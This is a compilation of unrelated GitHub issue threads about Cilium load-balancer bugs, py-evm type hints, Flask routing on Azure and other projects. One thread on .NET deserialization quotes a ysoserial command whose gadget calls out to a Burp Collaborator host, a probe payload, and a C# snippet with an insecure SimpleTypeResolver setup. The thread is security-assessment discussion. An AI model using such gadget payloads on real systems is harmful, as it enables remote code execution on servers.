1621   <IP_ADDRESS>:32635   NodePort
1622   <IP_ADDRESS>:8080    ClusterIP      1 => <IP_ADDRESS>:8080 (active)
1623   <IP_ADDRESS>:32501         NodePort       1 => <IP_ADDRESS>:8080 (active)
1624   <IP_ADDRESS>:32501   NodePort       1 => <IP_ADDRESS>:8080 (active)
1625   <IP_ADDRESS>:8080     ClusterIP      1 => <IP_ADDRESS>:8080 (active)
1626   <IP_ADDRESS>:32308   NodePort       1 => <IP_ADDRESS>:8080 (active)
1627   <IP_ADDRESS>:32308         NodePort       1 => <IP_ADDRESS>:8080 (active)

Cilium services for the NodePort & LoadBalancer still exist.  1254, 1255, 1619, & 1621
Attempting to delete those manually returns cilium_lb4_services_v2: delete: key does not exit
root@soquartz1:/home/cilium# cilium-dbg service delete 1254
Deprecation warning: --id parameter will change from int to string in v1.14
Error: [DELETE /service/{id}][500] deleteServiceIdFailure  Unable to delete service entry <IP_ADDRESS>:20480: unable to delete element <IP_ADDRESS>:80 from map cilium_lb4_services_v2: delete: key does not exit

cilium-dbg service delete --all deleted everything but those 4 problematic cilium services.  Still looking for a way into a healthy state as all other activity is hung on reconciling this deletion.
https://github.com/cilium/cilium/issues/30078 also appears to be related.

I have been creating/deleting a large amount of gateways/lloadbalancers for testing other MRs/features and encountered this issue.

Hi, @acelinkio  Can you share your installation parameters(helm values.yaml)? I want to try reproducing this issue locally using this method.

I was only able to get back into state after deleting the nodeports/loadbalancers, then doing deleting cilium pods.  Not sure was not sure if cached state is shared across nodes so wanted to purge them all at once.
Here are the installation details:
helm template cilium cilium --repo https://helm.cilium.io/ --version 1.15.0-rc.0 --namespace kube-system --values values.yaml

values.yaml
autoDirectNodeRoutes: true
bpf:
  masquerade: true
cluster:
  name: home-cluster
  id: 1
containerRuntime:
  integration: containerd
  socketPath: /var/run/k3s/containerd/containerd.sock
endpointRoutes:
  enabled: true
externalIPs:
  enabled: true
hubble:
  enabled: true
  metrics:
    enabled:
      - dns:query
      - drop
      - tcp
      - flow
      - port-distribution
      - icmp
      - http
  relay:
    enabled: true
    rollOutPods: true
  ui:
    enabled: true
    rollOutPods: true
    ingress:
      enabled: false
ipam:
  mode: kubernetes
ipv4NativeRoutingCIDR: "<IP_ADDRESS>/16"
k8sServiceHost: "<IP_ADDRESS>"
k8sServicePort: 6443
kubeProxyReplacement: true
kubeProxyReplacementHealthzBindAddr: <IP_ADDRESS>:10256
l2announcements:
  enabled: true
  # https://github.com/cilium/cilium/issues/26586
  leaseDuration: 120s
  leaseRenewDeadline: 60s
  leaseRetryPeriod: 1s
loadBalancer:
  algorithm: maglev
  mode: dsr
localRedirectPolicy: true
operator:
  replicas: 1
  rollOutPods: true
  image:
    # image override for using patch that fixes https://github.com/cilium/cilium/issues/29080
    override: "quay.io/cilium/operator-generic-ci:a199ad6584be1047dc480e82b87d0e54ad008c24"
    # image override for using patch that fixes https://github.com/cilium/cilium/issues/30085
    #override: "quay.io/cilium/operator-generic-ci:bd0f507f2d5f3912c512f2fe728e0b19c974b88d"
rollOutCiliumPods: true
securityContext:
  privileged: true
routingMode: native
gatewayAPI:
  enabled: true
  secretsNamespace:
    create: false
    name: cilium-secrets
ingressController:
  enabled: false
  loadbalancerMode: shared
  enforceHttps: false
  secretsNamespace:
    create: false
    name: cilium-secrets
  service:
    allocateLoadBalancerNodePorts: false

@chaunceyjiang my full configuration can be found https://github.com/acelinkio/argocd-homelab
kube-system namespace where Cilium is managed:
https://github.com/acelinkio/argocd-homelab/blob/main/manifest/kube-system.yaml
cilium-gateways namespace where Gateways are created:
https://github.com/acelinkio/argocd-homelab/blob/main/manifest/cilium-gateway.yaml

Following up.
I eventually went into a bad state again after deleting all of the load balancers, restarting cilium pods, and creating only using a single gateway/loadbalencer.  While in this state, cilium status showed no errors.  There were intermittent or complete failures connecting to websites behind the gateway controller.
I've since deleted and recreated all kubernetes services.   For the last ~12 hours since doing that I've had stable connectivity to all traffic going through the gateway controller.
Is there an easier way to reset the eBPF/Envoy setup generated by Cilium?  Or a way to probe and see if there are stale rules?

I am still encountering this issue with Cilium using 1.15.0-rc.1.
Pod inside of Kubernetes could not connect through the gateway/route to my identity website hosted in the same cluster while my desktop computer was able to connect.  After restarting Cilium, the pod could connect to the identity website, but my desktop was unable.  Each restart of Cilium appears to have some other resources not functional.  Unclear what is causing this issue.
Attached is the cilium sysdump output with my domain obfuscated to mydomain.tld cilium-sysdump-mydomaintld.zip

Reposting some of my findings.  I have been tracking a couple different tickets for connection errors using Cilium ingress/gateway controllers.  Going to post some of the steps I took when investigating.

Manually load kernel modules to prevent upstream reset: reset reason: connection failure.  https://github.com/cilium/cilium/issues/25021#issuecomment-1699969830

modprobe iptable_raw
modprobe xt_socket
cat << 'EOF' > /etc/modules-load.d/cilium.conf
xt_socket
iptable_raw
EOF

Set gateway allowedRoutes namespaces All (until 1.15.1) to prevent HTTPRoute is not allowed to attach to this Gateway due to namespace restrictions https://github.com/cilium/cilium/issues/30085

apiVersion: gateway.networking.k8s.io/v1
kind: Gateway
metadata:
  name: internal
  namespace: cilium-gateway
spec:
  gatewayClassName: cilium
  listeners:
  - protocol: HTTP
    port: 80
    name: http
    allowedRoutes:
      kinds:
        - kind: HTTPRoute
      namespaces:
        from: All
  - protocol: HTTPS
    port: 443
    name: https
    tls:
      certificateRefs:
      - kind: Secret
        name: wildcard-production
        namespace: cilium-secrets
    allowedRoutes:
      namespaces:
        from: All

I am actively troubleshooting upstream connect error or disconnect/reset before headers. reset reason: connection timeout errors inside of my cluster.  So far what I have discovered is that this only impacts one node at a time.  Any connection coming into that Cilium gateway is unable to deliver traffic to a pod hosted on that node.  I am able to identify the impacted Cilium pod from logs like level=info msg="[cilium.bpf_metadata: IPv4 conntrack map global lookup failed: Success" subsys=envoy-filter threadID=255 messages.  I found a workaround by having this 'bad cilium daemonset pod' end up on a Kubernetes controller node that is not responsible for hosting a website.
Useful issues I found in the same ballpark:

https://github.com/cilium/cilium/issues/30510
https://github.com/cilium/cilium/issues/30581
https://github.com/cilium/cilium/issues/29967 (this issue)
https://github.com/cilium/cilium/issues/29928
https://github.com/cilium/cilium/issues/20942
https://github.com/cilium/cilium/issues/28979

@vincedihub @johnjcool  could you check if the upstream connect error or disconnect/reset before headers. reset reason: connection timeout  issues you've encountered are scoped to one node failing at a time?

Following up on this,
Updated to use newer CI images and not seeing anymore upstream connect error or disconnect/reset before headers. reset reason: connection timeout errors like I was before. Appears that https://github.com/cilium/cilium/pull/30816 may have been the solution.
This was tested with images from https://github.com/cilium/cilium/actions/runs/7941152929/job/21683197687 using the following helm values.
image:
override: "quay.io/cilium/cilium-ci:48bd2ac9eeabbbde42a35a1552952d72b6108cf0"
operator:
image:
override: "quay.io/cilium/operator-generic-ci:48bd2ac9eeabbbde42a35a1552952d72b6108cf0"
The fix appears to happen between these two commits https://github.com/cilium/cilium/compare/d1834ba2cf8d33861e077a1226143c3f7a71c2d0...48bd2ac9eeabbbde42a35a1552952d72b6108cf0

@vincedihub have you tried the same images suggested by @acelinkio?

Following up on this,
Updated to use newer CI images and not seeing anymore upstream connect error or disconnect/reset before headers. reset reason: connection timeout errors like I was before. Appears that #30816 may have been the solution.
This was tested with images from https://github.com/cilium/cilium/actions/runs/7941152929/job/21683197687 using the following helm values.
image:
  override: "quay.io/cilium/cilium-ci:48bd2ac9eeabbbde42a35a1552952d72b6108cf0"
operator:
  image:
    override: "quay.io/cilium/operator-generic-ci:48bd2ac9eeabbbde42a35a1552952d72b6108cf0"

The fix appears to happen between these two commits d1834ba...48bd2ac

@acelinkio @aanm Didn't help me.

It seems I am also hitting this issue with 1.16-rc2.
In my case, it started to happen when i have upgraded from 1.15.6.
Currently whenever I have restart agent ingress and gateway api stops working.
I got connection refused after restart.
The only workaound which i found is to remove service which backs up particular instance of ingress or gateway. Then it starts working again

For me I upgraded and have these entries in the service list

14    <IP_ADDRESS>:443        LoadBalancer
15    <IP_ADDRESS>:80         LoadBalancer

Note there is no backend. Following the deletion steps does not remove it and ry=unning the delete command returns:
# cilium-dbg service delete 14 -D
Deprecation warning: --id parameter will change from int to string in v1.14
Error: [DELETE /service/{id}][500] deleteServiceIdFailure  Unable to delete service entry <IP_ADDRESS>:47873 (0): unable to delete element <IP_ADDRESS>:443 (0) from map cilium_lb4_services_v2: delete: key does not exist

Recreating the service does not create new entries nor are those entries updated seeming to break the routing.


Documentation, please

Is this an "internal" research project only for your personal use, or does it work in general and could be of use to others? If so, please add some docs, at least a README :+1: thx

Hi there. Yes and no. I wrote the code for internal use, and it is only one component of a larger production system (research support). However, it has become sufficiently general and abstract that I decided to publish it.
I've added a note to the README and a simple usage example as well. But I am not willing to invest more time in that direction. Please read the code to get an idea of how to use it further. Contributions are welcome.
You might also be interested in some smaller bits of the system I've published in gists:
https://gist.github.com/langner/7820246
https://gist.github.com/langner/9e732e662b81d45af52a
https://gist.github.com/langner/ce600127262b04db82d2
https://gist.github.com/langner/08164c88bb37cb18b6d1


Add type hints For eth/utils module

What was wrong?
The eth module was not type hinted till now. This needs to be fixed and also the tox.ini file needs to be updated.
Issue : #1398
How was it fixed?
Adding type hints to the arguments and the function. The phase of adding the type hints is as follows

eth.utils (Started previously and hence wanted to finish it)
eth.tools
eth.vm
Everything else which is leftover

Cute Animal Picture

@cburgdorf I have done the type hinting for eth/utils module. Please verify it.

I added the mypy-extensions module to setup.py, but still travis is showing "No module named mypy_extensions"

@Bhargavasomu it comes with mypy by default and is already being used here:
https://github.com/ethereum/py-evm/blob/e68e7c36a75ba7287858f479fb82141d656c82e6/trinity/protocol/common/handlers.py#L59-L69

@cburgdorf, since the whole of eth is not type hinted the following command would fail right?
mypy --follow-imports=silent --warn-unused-ignores --ignore-missing-imports --no-strict-optional --check-untyped-defs --disallow-incomplete-defs -p eth
This is present in the present tox.ini file, but it would fail eventually because the whole eth module is not yet type hinted fully. So shouldn't we remove that command till we finish the whole type hinting? Is there something I am missing?

@cburgdorf then how would we know exactly why the testcases are failing for, because of the requirement of the type hinting of the whole eth module or the faults in the linting or some scenario in the present module for which we have made changes for.
Also the above test cases are failing because we haven't put the typing for all of the eth module. Is that ok for them to fail, till we have completed the type hinting for the whole module.
If yes, then can I move onto Type Hinting the other modules (eth.tools)?

Stricter type hints do automatically qualify less strict checks. That said, if you add stricter type hints in e.g. eth.utils that may unveil issues in other parts of the code base, hence you see that now some other things outside of eth.utils fail. Fixing these can either mean:

a.) something in eth.utils is typed incorrectly
b.) something outside of eth.utils is typed incorrectly
This is why, even if you aim to just add type hints for module x it may involve changing things in module y in the same PR.

Is that ok for them to fail, till we have completed the type hinting for the whole module.

The rules are:

We do not lower type checks at any point
We do never merge PRs that fail in CI

To elaborate on the second point. If we decided to merge a PR that fails CI, even if it is only for type hints, it becomes hard / impossible to spot any other CI failures as master would be broken for everyone else.

@cburgdorf I have made the necessary changes so that the present eth type hinting is not breaked. I have also added the necessary type hinting for eth.utils and eth.tools.builder. But the test cases are failing because of ImportError: No module named 'mypy_extensions'. Then I took a look at this

There is no mypy installed as part of the setup and hence mypy-extensions module won't exist also. So I guess we would have to include mypy-extensions as part of the setup ourselves.

Eventhough mypy is part of the setup, it is not being installed here

Right, I guess mypy is currently only installed for the linting jobs itself. I guess there are two ways to go from here:

Add mypy as a dependency to eth

https://github.com/ethereum/py-evm/blob/e68e7c36a75ba7287858f479fb82141d656c82e6/setup.py#L7-L19

Use if TYPE_CHECKING to only import from mypy_extensions during mypy runs

https://github.com/ethereum/py-evm/blob/e68e7c36a75ba7287858f479fb82141d656c82e6/trinity/protocol/common/handlers.py#L58-L59
Honestly, I have no preference. Since we already use if TYPE_CHECKING to guard around the mypy_extensions you may just continue doing that. On the other hand I don't see why we should treat this library any different than other libraries we depend on.
Feel free to try and pick any of both options. Chances are @carver or @pipermerriam have a stronger preference for one or the other way but it will be trivial to move back and forth so whatever moves this forward is fine by me for now.

@cburgdorf sorry for pinging you a lot, but these errors don't seem to be related to the type hinting. Some assert statements are failing because of the fixtures which I am not able to understand properly. Could you please tell me what to do?

but these errors don't seem to be related to the type hinting. Some assert statements are failing because of the fixtures

The reason you are see these is because you (accidentally) changed the fixed commit of the fixtures sub repository in your PR to point to newer test cases.

These newer test cases do fail unless you rebase your branch against latest master where changes have been made to make these test cases work.

@Bhargavasomu have a look at https://github.com/ethereum/py-evm/pull/1412

Resolved fixtures issue + rebased against latest master
Add "mypy_extensions>=0.4.1,<1.0.0", to the eth section (instead of mypy
Change tox.ini do install the eth dependencies

@Bhargavasomu I'm going to drive this home in https://github.com/ethereum/py-evm/pull/1412 and apply some fine tuning on top of it.
You can consider this done and move on adding type hints to other parts. Thank you for pushing this forward. Great work! :+1:  I guess the learnings from this PR will make the upcoming PR chunks easier.
One thing regarding commit history. I'm quite keen on getting clean semantic commits, which means if there are many wip commits, I'll squash them all together into one semantic commit. You can avoid this by cutting semantic commits yourself and force pushing into the PR.

@cburgdorf sorry for bugging you a lot through this PR. I definitely learnt a lot which would help me type hinting the rest of the parts. Thankyou

sorry for bugging you a lot through this PR. I definitely learnt a lot which would help me type hinting the rest of the parts. Thankyou

No problem! I know that adding types can be quite challenging in the beginning. Especially in py-evm. I'm super happy to have you do this and I'm excited for py-evm soon be fully typed!


Use State::default() directly, instead of per-member.

The example is sightly simplified that way, even though showing the
.. notation for struct field initialization is probably a good thing
to do as well just for the learning experience.

You can watch the development stream on youtube.
Looksies #10 [Let's look at the imgui-rs]
[!thumb](https://youtu.be/n8idYWCwl5s)

Thanks, looks good! The .. was an unnecessary leftover of older code.


ForwardSpec: Add Equals, GetHashCode implementations

@bartsaintgermain fyi

Current coverage is 78.91%

Merging #33 into master will increase coverage by +0.02% as of 7fceeef

@@            master     #33   diff @@
======================================
  Files           52      52
  Stmts         1578    1589    +11
  Branches       222     225     +3
  Methods          0       0
======================================
+ Hit           1245    1254     +9
- Partial        104     105     +1
- Missed         229     230     +1

Review entire Coverage Diff as of 7fceeef

Powered by Codecov. Updated on successful CI builds.


Extract all Vue logic from mix.js()

As part of the big Mix 6 upgrade, we should take this opportunity to extract all Vue-specific logic from the mix.js() call. This will be a breaking change, but it's as good a time as any to do it. Like mix.react(), we'll need to add a mix.vue() command.

I'm working on #2481 / #2482 / #2483 (this issue) right now. How are you thinking this will work with things like mix.ts()? Right now they hardcode support for Vue (but not react). For me it seems like mix.js should still be used but mix.vue() and mix.react() are effectively features that can be enabled for use in any used language.
My thinking is we could write something like the following:
// 1. enable Vue support
mix.vue()

// 2.a. Compile app JS
mix.js("app/js/app.js", "public/js/app.js")

// 2.b. alternatively compile app TypeScript
mix.js("app/ts/app.ts", "public/js/app.js")

I'll talk with you in the PR thread.


feat(#24): added linting and formatting rules

Changes made

[x] Added stylua formatting rules
[x] Added selene general linting rules
[x] Added Neovim specific linting rules
[x] Added Makefile to ease the developing workflow

I have perform the necessary fixes according to the linter's and formatter's errors and warnings.

Warnings:

This may become relevant when the project becomes larger, however the current .stylua seems to work for now


Create a Views Many-To-Many relationship table

Any progress, please?

Any progress, please?

No progress as of now, do you want to take it up?


Improvement : fetching new data to offline-data storage files (data/*.json)

Improvement
Description

I have seen that after requesting same "joke" for some times it is repeating, no matter with how many new jokes you fill into that data/joke.json file there's time when you may get repetative jokes if one goes recursive of jokes query...So the solution to it is as ....
Fetching new data to offline-data storage files (data/*.json) to avoid repetitive response ...

Any ideas on how to implement it?

after a certain number of  requests, we fire one request in the background as separate thread to update the data for that file
Example  :

suppose after a number of request to jokes == (20)
fire a function to fetch new jokes via API from some jokes providing API service and update offline data storage file data/jokes.json with new 20 jokes and repeat the cycle...

Hi
Why can't we use jokes open API's such as chuck noris to fetch jokes?
For offline integration, we can store the fetched jokes.


Adding another route causes 404 on cloud deploy only

Originally, In main.py there is a function named hello_world
@app.route('/')
def hello_world():
    return 'Hello, World!'

I added another function below
@app.route('/hello')
def hello_path():
    return "HELLO FROM PATH"

So the full script is as follows:
from flask import Flask
app = Flask(__name__)
app.debug = True

@app.route('/')
def hello_world():
    return 'Hello, World!'

@app.route('/hello')
def hello_path():
    return "HELLO FROM PATH"

if __name__ == '__main__':
    app.run()

When I run this on my localhost both endpoints work correctly and return their respective strings. However, after deploying via git to my azure website, I can only get the response from xxx.azurewebsites.net/ to work correctly (returns "Hello, World!"). When I try and hit xxx.azurewebsites.net/hello I get a 404 error.
I'm not sure why it only works with the default route in the cloud when everything works fine locally. Is this a setup issue? Is there anyway I can debug the routing issues on Azure?

I'm having the same problem. I'd love to know how to fix it - seems like it should be straightforward.

not a solution to this problem - but I was able to workaround it by using the Azure SDK in visual studio and publishing to the web app from there.

Adding System.Web and System.WebServer block to web.3.4.config from https://github.com/MicrosoftDocs/azure-docs/blob/master/articles/app-service-web/web-sites-python-configure.md worked for me

@hgirish solution worked for me as well, i.e., add the following to your web.3.4.config:
<system.web>
    <compilation debug="true" targetFramework="4.0" />
  </system.web>
  <system.webServer>
    <modules runAllManagedModulesForAllRequests="true" />
    <handlers>
      <remove name="Python27_via_FastCGI" />
      <remove name="Python34_via_FastCGI" />
      <add name="Python FastCGI"
           path="handler.fcgi"
           verb="*"
           modules="FastCgiModule"
           scriptProcessor="D:\Python34\python.exe|D:\Python34\Scripts\wfastcgi.py"
           resourceType="Unspecified"
           requireAccess="Script" />
    </handlers>
    <rewrite>
      <rules>
        <rule name="Static Files" stopProcessing="true">
          <conditions>
            <add input="true" pattern="false" />
          </conditions>
        </rule>
        <rule name="Configure Python" stopProcessing="true">
          <match url="(.*)" ignoreCase="false" />
          <conditions>
            <add input="{REQUEST_URI}" pattern="^/static/.*" ignoreCase="true" negate="true" />
          </conditions>
          <action type="Rewrite" url="handler.fcgi/{R:1}" appendQueryString="true" />
        </rule>
      </rules>
    </rewrite>
  </system.webServer>

Closing as an obsolete issue.


bug: system prompt should be multiline wrapped

Currently it appears in one line but should wrap

Fixed in SpeakGPT3.8/3.9


Normalize actions/events signatures.

tl;dr
Make all functions in the API follow the same signature:
(state, actions, data, emit)

Now

view(state, actions)
actions.myAction(state, data, actions, emit)
events.loaded(state, actions, emit)
events.action(state, actions, data, emit)
events.update(state, actions, data, emit)
events.render(state, actions, data, emit)

After

view(state, actions)
actions.myAction(state, actions, data, emit)
events.loaded(state, actions, emit)
events.action(state, actions, data, emit)
events.update(state, actions, data, emit)
events.render(state, actions, data, emit)

Tentative: Pass the options (the same from app(options)) object to loaded as data, so it can match the proposed signature too. 🤔

events.loaded(state, actions, emit) — @jbucaran

Maybe it's better to just use state, actions, _, emit here, where _ is (right now) always undefined? It streamlines everything and if we ever decide that we need data we don't have to break the API.

@dodekeract Good point!

This is a breaking change, as you'll need to modify all your actions signature from (state, data, actions) to (state, actions, data).
@selfup @pedroborges @cdeutmeyer @lukejacksonn Are we okay with this?

The difference between (s,a,d) and (s,d,a) has always niggled me and it would certainly mean one less thing for users to remember.. for these reasons I am all for it.
I also support @dodekeract's statement of using state, actions, _, emit for loaded. Just to keep things super consistent. Your proposal @jbucaran of passing options as the data for that function is also not a bad idea at all 👍

https://github.com/hyperapp/hyperapp/commit/c29970c1bfa6741463646a7edc50ca1b0feb9fb4 🎉


Comments are invisible

Comments are invisible: white text on yellow background

Looks like it's not possible to set a custom background color for comments.
Here is the related LO bug.


Impossible to use with Phoenix due version mistmatch

when running mix deps.get mix throws an error
  phoenix (version 1.2.4) requires ~> 1.5 or ~> 2.0
  sparkpost (version 0.5.0) requires ~> 3.0

because sparkpost requires poison of version 3.0 and phoenix requires somewere between 1.5 to 2.2
I forked and lwoered poison version to 2.2.0 and it works
https://github.com/programisti/elixir-sparkpost

Yup, fair point until we see Phoenix 1.3 ;) Relaxing that requirement. Thanks for the report! @programisti


Added controller connection failed

Added a filter for the intial controller connection failing.

@mikegorman-nf your commit isn't signed. See: https://docs.github.com/en/authentication/managing-commit-signature-verification/signing-commits
Let me know if you need any assistance with it.


treewide: fix eval without aliases after 9378fdf87e0626e8c63a90a378c3…

…8444ff54808b

Motivation for this change
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

How did this slip past ofborg? All checks where green when I merged this.


Deprecate android.app.Fragment

Issue

https://github.com/permissions-dispatcher/PermissionsDispatcher/issues/445

Overview
In favor of Android P decision, we'll make android.app.Fragment support Deprecated and remove the feature after Android P official release~!

Thx for the review!


Login page overflows

The login page has a small overflow when a presumably too large keyboard is present

Duplicate #151


Inline bold within a word is handled incorrectly

Foobarbaz is rendered incorrectly in inline as foo**bar**baz.
The same issue was discussed on SO and fixed in 2014.

Should be fixed in the v5.


can't treat response json correctly if the response json is not the correct json, like using google search

can't treat response json correctly if the response json is not the correct json, like using google search

some website deliberately return incorrect json to prevent Crawling，for example,google


ephys job: add labtracks ID as tag

This is done on the CodeOcean side.

Done on the trigger capsule side


Add Sunlight Hours Calculator

Description
This tool will help users estimate the number of sunlight hours in a day based on their location and the date.
Screenshots

Checklist

[X] I have checked the existing issues.
[X] I follow Contributing Guidelines of this project.
[X] I am a GSSOC'24 contributor.
[ ] I am a IWOC'24 contributor.
[ ] I am a JWOC'24 contributor.
[ ] I am a SWOC'24 contributor.

Code of Conduct

[X] I agree to follow this project's "Code of Conduct".

@Rakesh9100
Kindly assign me this issue

@Rakesh9100
Kindly assign me this issue

Proceed @Aditi22Bansal

Pls provide your PR @Aditi22Bansal

@Rakesh9100
Yes uploading


fix: locale prefixes are not added to route aliases

🔗 Linked issue

#2957

❓ Type of change

[ ] 📖 Documentation (updates to the documentation, readme or JSdoc annotations)
[x] 🐞 Bug fix (a non-breaking change that fixes an issue)
[ ] 👌 Enhancement (improving an existing functionality like performance)
[ ] ✨ New feature (a non-breaking change that adds functionality)
[ ] 🧹 Chore (updates to the build process or auxiliary tools and libraries)
[ ] ⚠ Breaking change (fix or feature that would cause existing functionality to change)

📚 Description
Resolves #2957
This adds locale prefixes to route aliases but requires the experimental scanPageMeta feature to be enabled to work, not entirely sure where in the docs would be appropriate to document this.

📝 Checklist

[x] I have linked an issue or discussion.
[x] I have added tests (if possible).
[ ] I have updated the documentation accordingly.

I would like to make scanPageMeta GA for Nuxt v3.12 if possible (or v4 if not).
~> https://github.com/nuxt/nuxt/pull/27134

I would like to make scanPageMeta GA for Nuxt v3.12 if possible (or v4 if not).

Good news!
Thanks @danielroe ❤


Change logging level to not print notebook contents in the log file

Change log level to not print shell command in the log file.
More details on https://issues.apache.org/jira/browse/ZEPPELIN-330

LGTM.

LGTM


Question on assessment - Value cannot be null.Parameter name: type

Hello,
I definitely have  situation where an app i am assessing is allowing __type declaration but no matter what i attempt with payloads i get the same response if i include any value for __type.  Not looking for help exploiting this for my assessment, just some direction.  All of the research I've done is showing this should be exploitable.  Kind of want to know what the next step could be in discovery of whether or not this is exploitable but i hit a wall on the __type null problem.  MVC 3
I have used Freddy which is certain there is a problem here.
ysoserial.exe -c "nslookup SCRUBBED.burpcollaborator.net" -g ObjectDataProvider -f JavaScriptSerializer
And I'm sending this payload to the target and can't get anything to run, it's a windows box.
Payload that does the detection looks like (or similar) - I can insert null and then i get an error message saying it wants a true or false for another parameter, which I've also tried appending but s till get the error about type not being null.
{"__type":""}
Error looks like this:
`HTTP/1.1 500 Internal Server Error
Date: Mon, 20 Apr 2020 15:49:42 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 9702
Connection: close
Cache-Control: private
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, PUT, POST, DELETE, HEAD
Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept

Value cannot be null.Parameter name: type

Server Error in '/SCRUBBED' Application.
 Value cannot be null.Parameter name: type

 Description: An unhandled exception occurred during the execution of the current web request. Please review the stack trace for more information about the error and where it originated in the code.

 Exception Details: System.ArgumentNullException: Value cannot be null.Parameter name: type
Source Error:

An unhandled exception was generated during the execution of the current web request. Information regarding the origin and location of the exception can be identified using the exception stack trace below.

Stack Trace:

[ArgumentNullException: Value cannot be null.
Parameter name: type]
   System.Activator.CreateInstance(Type type, Boolean nonPublic) +14216720
   System.Activator.CreateInstance(Type type) +12
   System.Web.Script.Serialization.ObjectConverter.ConvertDictionaryToObject(IDictionary`2 dictionary, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object& convertedObject) +447
   System.Web.Script.Serialization.ObjectConverter.ConvertObjectToTypeInternal(Object o, Type type, JavaScriptSerializer serializer, Boolean throwOnError, Object& convertedObject) +94
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth) +222
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeDictionary(Int32 depth) +599
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth) +147
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeDictionary(Int32 depth) +599
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.DeserializeInternal(Int32 depth) +147
   System.Web.Script.Serialization.JavaScriptObjectDeserializer.BasicDeserialize(String input, Int32 depthLimit, JavaScriptSerializer serializer) +110
   System.Web.Script.Serialization.JavaScriptSerializer.Deserialize(JavaScriptSerializer serializer, String input, Type type, Int32 depthLimit) +46
   Spl.Sped.Web.Extensions.CustomJsonValueProviderFactory.GetDeserializedObject(ControllerContext controllerContext) +278
   Spl.Sped.Web.Extensions.CustomJsonValueProviderFactory.GetValueProvider(ControllerContext controllerContext) +23
   System.Web.Mvc.<>c__DisplayClassc.<GetValueProvider>b__7(ValueProviderFactory factory) +48
   System.Linq.WhereSelectEnumerableIterator`2.MoveNext() +238
   System.Linq.WhereSelectEnumerableIterator`2.MoveNext() +281
   System.Collections.Generic.List`1..ctor(IEnumerable`1 collection) +504
   System.Linq.Enumerable.ToList(IEnumerable`1 source) +69
   System.Web.Mvc.ValueProviderFactoryCollection.GetValueProvider(ControllerContext controllerContext) +421
   System.Web.Mvc.ControllerBase.get_ValueProvider() +39
   System.Web.Mvc.ControllerActionInvoker.GetParameterValue(ControllerContext controllerContext, ParameterDescriptor parameterDescriptor) +77
   System.Web.Mvc.ControllerActionInvoker.GetParameterValues(ControllerContext controllerContext, ActionDescriptor actionDescriptor) +137
   System.Web.Mvc.ControllerActionInvoker.InvokeAction(ControllerContext controllerContext, String actionName) +658
   System.Web.Mvc.Controller.ExecuteCore() +143
   System.Web.Mvc.ControllerBase.Execute(RequestContext requestContext) +91
   System.Web.Mvc.<>c__DisplayClassb.<BeginProcessRequest>b__5() +57
   System.Web.Mvc.Async.<>c__DisplayClass1.<MakeVoidDelegate>b__0() +25
   System.Web.Mvc.<>c__DisplayClasse.<EndProcessRequest>b__d() +36
   System.Web.CallHandlerExecutionStep.System.Web.HttpApplication.IExecutionStep.Execute() +648
   System.Web.HttpApplication.ExecuteStepImpl(IExecutionStep step) +213
   System.Web.HttpApplication.ExecuteStep(IExecutionStep step, Boolean& completedSynchronously) +131

Version Information: Microsoft .NET Framework Version:4.0.30319; ASP.NET Version:4.7.3535.0

`

You need to be able to control the object type in this case. Please have a look at https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf

Hello, thanks for the response - I think that is the problem, how can I determine whether or not that is the case without access to the source code?  I have used payloads and tried all sorts of intelligent fuzzing to try and determine that.  Are there any additional detection methods I can use to see if I can control the object type?  I have reviewed that document previously and any other documentation I can find related to the JavaScriptSerializer as shown above.

Reading the stacktrace it seems you are dealing with a JavaScriptSerializer here. Not much you can do other than trying some payloads to see whether you can get a DNS request back for example. It is probably not vulnerable as you have tried it all.
Here are my notes on this one based on reading the articles:
This should not be vulnerable by default. However, it can become vulnerable when a resolver is used that can allow dangerous types. An example of this resolver is SimpleTypeResolver that can be seen in: https://referencesource.microsoft.com/#System.Web.Extensions/Script/Serialization/SimpleTypeResolver.cs,7b048d54a7d79e87
The following code therefore will be vulnerable:
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
var json_req = jss.Deserialize<int>(payload);

The following code will not be vulnerable:
JavaScriptSerializer jss = new JavaScriptSerializer();
var json_req = jss.Deserialize<int>(payload);

This feature can make JavaScriptSerializer without a resolver an ideal choice as a secure serialiser.

@Himself132 what is the payload you are using? by the stacktrace it seems you are sending a null __type

@pwntester - hey just wanted to give an update, I actually got remote code execution.  They are using LINQ which is dynamic.  The following payload worked, interestingly enough it still just shows a generic error message and gives no indication of exploit other than the out of band feedback dns call.
So i guess the question is, would there have been a detection payload that would've worked here?  In case there is a dictionary for deserialization issues i could add a payload to?  Or are we stuck with the out of band detection which can be problematic from a false positive perspective?
The original payload was FREDDY just sending
{"__type":""}
the exploit for RCE was

as referenced in this link
https://insinuator.net/2016/10/linq-injection-from-attacking-filters-to-code-execution/

Thank you for showing the PoC and how it works. This is very interesting but it is not related to serialization as far as I can see.
We will need another extension to find this kind of issues - perhaps it should be added to Burp Suite scanner engine itself.


Diarization failed

Already did huggingface-cli  login and manually download the model is ok.
log :
Failed to diarize. You need huggingface token and agree to their requirements to download the diarization model.
Go to "https://huggingface.co/pyannote/speaker-diarization-3.1" and follow their instructions to download the model.
Error transcribing file: 'NoneType' object is not callable
Traceback (most recent call last):
